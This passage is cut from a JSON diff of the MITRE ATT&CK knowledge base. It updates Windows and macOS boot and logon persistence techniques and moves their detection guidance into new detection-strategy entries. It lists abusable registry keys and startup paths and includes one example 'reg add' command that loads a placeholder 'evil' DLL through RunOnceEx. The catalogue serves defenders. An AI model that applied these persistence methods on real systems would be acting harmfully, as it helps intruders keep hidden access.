+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0026: Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 18:15:06.641000+00:00",
+ "modified": "2025-10-24 17:49:32.375000+00:00",
+ "name": "Re-opened Applications",
+ "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/007",
+ "external_id": "T1547.007"
+ },
+ {
+ "source_name": "Re-Open windows on Mac",
+ "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
+ "url": "https://support.apple.com/en-us/HT204005"
+ },
+ {
+ "source_name": "Methods of Mac Malware Persistence",
+ "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "Wardle Persistence Chapter",
+ "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
+ "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
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+ ],
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0125: Detect persistence via reopened application plist modification (macOS)"
+ ],
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+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-23 22:02:48.566000+00:00",
+ "modified": "2025-10-24 17:49:09.744000+00:00",
+ "name": "Registry Run Keys / Startup Folder",
+ "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/001",
+ "external_id": "T1547.001"
+ },
+ {
+ "source_name": "Malwarebytes Wow6432Node 2016",
+ "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
+ "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
+ },
+ {
+ "source_name": "Microsoft Wow6432Node 2018",
+ "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
+ },
+ {
+ "source_name": "Microsoft Run Key",
+ "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
+ },
+ {
+ "source_name": "Oddvar Moe RunOnceEx Mar 2018",
+ "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
+ "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Oddvar Moe, @oddvarmoe",
+ "Dray Agha, @Purp1eW0lf, Huntress Labs",
+ "Harun K\u00fc\u00dfner"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.744000+00:00\", \"old_value\": \"2025-04-15 19:58:54.099000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0365: Detect Registry and Startup Folder Persistence (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 17:16:11.806000+00:00",
+ "modified": "2025-10-24 17:48:46.245000+00:00",
+ "name": "Security Support Provider",
+ "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/005",
+ "external_id": "T1547.005"
+ },
+ {
+ "source_name": "Graeber 2014",
+ "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
+ "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
+ },
+ {
+ "source_name": "Microsoft Configure LSA",
+ "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
+ "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.245000+00:00\", \"old_value\": \"2025-04-25 14:46:38.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1025: Privileged Process Integrity"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0542: Registry and LSASS Monitoring for Security Support Provider Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 19:00:32.917000+00:00",
+ "modified": "2025-10-24 17:48:44.403000+00:00",
+ "name": "Shortcut Modification",
+ "description": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176/001)) to persistently launch malware.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/009",
+ "external_id": "T1547.009"
+ },
+ {
+ "source_name": "Shortcut for Persistence ",
+ "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.",
+ "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"
+ },
+ {
+ "source_name": "BSidesSLC 2020 - LNK Elastic",
+ "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.",
+ "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "David French, Elastic",
+ "Bobby, Filar, Elastic",
+ "Travis Smith, Tripwire"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.403000+00:00\", \"old_value\": \"2025-04-15 19:58:28.507000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n\\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n-\\n-Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0180: Detection Strategy for T1547.009 \u2013 Shortcut Modification (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 15:51:52.317000+00:00",
+ "modified": "2025-10-24 17:48:51.278000+00:00",
+ "name": "Time Providers",
+ "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/003",
+ "external_id": "T1547.003"
+ },
+ {
+ "source_name": "Github W32Time Oct 2017",
+ "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
+ "url": "https://github.com/scottlundgren/w32time"
+ },
+ {
+ "source_name": "Microsoft W32Time May 2017",
+ "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
+ "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
+ },
+ {
+ "source_name": "Microsoft W32Time Feb 2018",
+ "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
+ "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
+ },
+ {
+ "source_name": "Microsoft TimeProvider",
+ "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Scott Lundgren, @5twenty9, Carbon Black",
+ "Harun K\u00fc\u00dfner"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.278000+00:00\", \"old_value\": \"2025-04-15 19:58:35.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n\\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n-\\n-The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0122: Detect Abuse of Windows Time Providers for Persistence"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 16:59:59.688000+00:00",
+ "modified": "2025-10-24 17:48:53.539000+00:00",
+ "name": "Winlogon Helper DLL",
+ "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1547/004",
+ "external_id": "T1547.004"
+ },
+ {
+ "source_name": "Cylance Reg Persistence Sept 2013",
+ "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Praetorian"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.539000+00:00\", \"old_value\": \"2025-04-15 19:58:37.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and 